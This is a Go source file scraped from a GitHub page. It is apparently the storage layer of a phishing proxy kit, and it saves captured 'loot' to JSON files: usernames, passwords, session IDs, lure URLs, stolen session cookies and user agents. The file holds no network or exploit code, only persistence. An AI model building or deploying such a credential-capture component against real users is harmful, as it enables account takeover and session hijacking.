-
Notifications
You must be signed in to change notification settings - Fork 8
/
repository.go
77 lines (64 loc) · 1.7 KB
/
repository.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
package main
import (
"encoding/json"
"io"
"sync"
"time"
"github.com/rs/zerolog"
)
type DBLoginInfo struct {
Username string `json:"username"`
Password string `json:"password"`
Date time.Time `json:"date"`
SessionID string `json:"sid"`
LureURL string `json:"lure_url"`
}
type CredsRepository interface {
SaveCreds(info *DBLoginInfo) error
}
func NewFileLootRepository(log *zerolog.Logger, credsFile io.Writer) CredsRepository {
return &fileLootRepository{log: log, jsonSaver: &jsonSaver{file: credsFile}}
}
type fileLootRepository struct {
log *zerolog.Logger
jsonSaver *jsonSaver
}
func (r *fileLootRepository) SaveCreds(info *DBLoginInfo) (err error) {
r.log.Info().Any("dbInfo", info).Msg("save creds")
return r.jsonSaver.SaveData(info)
}
type jsonSaver struct {
file io.Writer
mu sync.Mutex
}
func (s *jsonSaver) SaveData(info interface{}) (err error) {
s.mu.Lock()
defer s.mu.Unlock()
data, err := json.Marshal(info)
if err != nil {
return err
}
if _, err = s.file.Write(data); err != nil {
return
}
_, err = s.file.Write([]byte("\n"))
return
}
type DBCapturedSession struct {
Cookies []*SessionCookie `json:"cookies"`
SessionID string `json:"sid"`
LureURL string `json:"lure_url"`
UserAgent string `json:"user_agent"`
}
type SessionRepository interface {
SaveSession(sess *DBCapturedSession) error
}
func NewFileSessionRepository(sessionFile io.Writer) SessionRepository {
return &fileSessionRepository{jsonSaver: &jsonSaver{file: sessionFile}}
}
type fileSessionRepository struct {
jsonSaver *jsonSaver
}
func (r *fileSessionRepository) SaveSession(sess *DBCapturedSession) error {
return r.jsonSaver.SaveData(sess)
}